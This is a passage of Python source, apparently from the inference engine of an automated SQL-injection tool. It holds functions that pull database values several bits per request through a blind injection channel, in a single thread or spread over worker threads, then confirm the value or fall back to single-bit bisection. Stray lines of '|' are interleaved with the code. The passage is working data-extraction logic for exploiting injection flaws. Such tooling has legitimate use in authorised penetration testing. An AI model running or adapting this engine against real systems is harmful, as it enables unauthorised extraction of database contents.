for position, count in chunks or ((_, perCall) for _ in xrange(1, MAX_MULTIBIT_LENGTH, perCall)):
|
|
chunk = _readChunk(profile, expression, position, count)
|
|
|
|
if chunk is None:
|
|
_debug("channel stopped answering at position %d" % position)
|
|
return None
|
|
|
|
for value in chunk:
|
|
if not value: # end of value (or a NUL, which classic cannot carry either)
|
|
done = True
|
|
break
|
|
|
|
retVal += decodeIntToUnicode(value)
|
|
|
|
if _verbose():
|
|
dataToStdout(filterControlChars(retVal[position - 1:]))
|
|
|
|
if done:
|
|
break
|
|
|
|
if not (done or chunks):
|
|
_debug("value exceeded the %d character ceiling" % MAX_MULTIBIT_LENGTH)
|
|
return None
|
|
|
|
return retVal
|
|
|
|
def _parallel(profile, expression, chunks, numThreads):
|
|
"""
|
|
The same reads spread over '--threads'. Every chunk sits at a known position, so they are as
|
|
independent as the characters the single-bit path parallelises over. Multi-bit runs its OWN
|
|
workers: bisection's read one character each, which would leave most of the channel idle.
|
|
"""
|
|
|
|
pending, values = list(chunks), {}
|
|
|
|
def readThread():
|
|
while kb.threadContinue:
|
|
with kb.locks.multibit:
|
|
if not pending:
|
|
return
|
|
|
|
position, count = pending.pop(0)
|
|
|
|
chunk = _readChunk(profile, expression, position, count)
|
|
|
|
if chunk is None:
|
|
_debug("channel stopped answering at position %d" % position)
|
|
kb.threadContinue = False
|
|
return
|
|
|
|
with kb.locks.value:
|
|
values[position] = chunk
|
|
|
|
technique = getTechnique() # runThreads' cleanup clears it (and releases every lock)
|
|
|
|
try:
|
|
runThreads(numThreads, readThread, startThreadMsg=False)
|
|
finally:
|
|
setTechnique(technique)
|
|
|
|
retVal, done = u"", False
|
|
|
|
for position, _ in chunks:
|
|
if position not in values: # a chunk that never answered leaves a hole
|
|
return None
|
|
|
|
for value in values[position]:
|
|
if not value: # a value shorter than the length it announced
|
|
done = True
|
|
break
|
|
|
|
retVal += decodeIntToUnicode(value)
|
|
|
|
if done:
|
|
break
|
|
|
|
if _verbose(): # the workers ran muted, so the value appears at once
|
|
dataToStdout(filterControlChars(retVal))
|
|
|
|
return retVal
|
|
|
|
def attempt(expression, bisectChar, length=None, charsetType=None, partial=False):
|
|
"""
|
|
Returns the extracted value, or None if multi-bit is not usable here (caller falls back to
|
|
classic bisection). `bisectChar(position)` is the trusted single-bit extractor.
|
|
"""
|
|
|
|
if not _usable(charsetType, partial):
|
|
return None
|
|
|
|
with kb.locks.multibit:
|
|
try:
|
|
profile = _profile(expression, bisectChar)
|
|
except Exception as ex:
|
|
_debug("profiling failed (%s)" % ex)
|
|
return None
|
|
|
|
if not profile:
|
|
return None
|
|
|
|
# Discovery is paid once per injection point, so even short values (table and column names) are
|
|
# cheaper here afterwards - a single character is not, since confirming it costs as much as
|
|
# bisecting it.
|
|
if isinstance(length, int) and length < 2:
|
|
return None
|
|
|
|
chunks = _chunks(length, profile["perCall"])
|
|
|
|
# a value-parallel enumeration worker is already one thread of several, so it reads on its own
|
|
numThreads = 1 if kb.multiThreadMode else min(conf.threads or 1, len(chunks or ()))
|
|
|
|
if numThreads > 1:
|
|
retVal = _parallel(profile, expression, chunks, numThreads)
|
|
else:
|
|
retVal = _serial(profile, expression, chunks, profile["perCall"])
|
|
|
|
if retVal is None:
|
|
return None
|
|
|
|
try:
|
|
confirmed = _confirm(profile, expression, retVal, length)
|
|
except Exception as ex:
|
|
_debug("confirmation failed (%s)" % ex)
|
|
confirmed = False
|
|
|
|
if confirmed is not True:
|
|
if _verbose():
|
|
dataToStdout("\r[%s] [INFO] retrieved: %s\r[%s] [INFO] retrieved: " % (time.strftime("%X"), " " * len(retVal), time.strftime("%X")))
|
|
|
|
singleTimeWarnMessage("multi-bit inference could not confirm a value, falling back to single-bit")
|
|
|
|
# a value the channel cannot carry (non-ASCII, or data the unescaper stands down on) is
|
|
# nobody's fault; a channel that keeps disagreeing costs a full read plus a confirmation on
|
|
# every value, so only that counts towards giving up on it
|
|
if confirmed is None:
|
|
return None
|
|
|
|
profile["failures"] += 1
|
|
|
|
if profile["failures"] >= MULTIBIT_MAX_FAILURES:
|
|
_debug("channel abandoned after %d unconfirmed values" % profile["failures"])
|
|
kb.multibit[profile["key"]] = False
|
|
|
|
return None
|
|
|
|
profile["failures"] = 0
|
|
|
|
return retVal
|